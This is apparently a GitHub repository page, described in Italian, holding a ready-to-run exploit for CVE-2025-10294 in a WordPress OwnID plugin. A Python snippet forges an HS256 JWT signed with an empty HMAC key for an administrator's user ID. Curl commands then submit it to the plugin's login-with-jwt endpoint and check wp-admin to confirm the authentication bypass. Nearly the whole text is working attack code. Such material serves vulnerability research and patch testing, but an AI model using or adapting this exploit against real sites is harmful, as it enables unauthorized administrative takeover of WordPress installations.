jfriedli/cve-2025-10294Exploit per CVE-2025-10294: bypass dell'autenticazione tramite chiave HMAC vuota in ownid_shared_secret, che consente la falsificazione di JWT e l'accesso non autorizzato all'amministrazione di WordPress.
ownid_shared_secret vuoto (Falsificazione JWT)SUB=<ADMIN_USER_ID>
SUB="$SUB" python3 - <<'PY' > /tmp/jwt.txt
import base64, hmac, hashlib, json, time, os
b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
header = b64u(json.dumps({"typ":"JWT","alg":"HS256"}, separators=(",",":")).encode())
payload = b64u(json.dumps({
"sub": int(os.environ["SUB"] or "1"),
"exp": int(time.time()) + 600
}, separators=(",",":")).encode())
signature = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest() # CHIAVE VUOTA
print(f"{header}.{payload}.{b64u(signature)}")
PY
JWT=$(cat /tmp/jwt.txt)
curl -i -sS \
-A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" \
-c /tmp/cookies.txt -b /tmp/cookies.txt \
-X POST "http://localhost/wordpress/wp-json/ownid/v1/login-with-jwt" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "jwt=$JWT" \
-L
curl -sS \
-A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" \
-c /tmp/cookies.txt -b /tmp/cookies.txt \
"http://localhost/wordpress/wp-admin/" | \
grep -E -m1 'id="wpadminbar"|wp-admin-bar-my-account' && \
echo "[+] Auth bypass worked"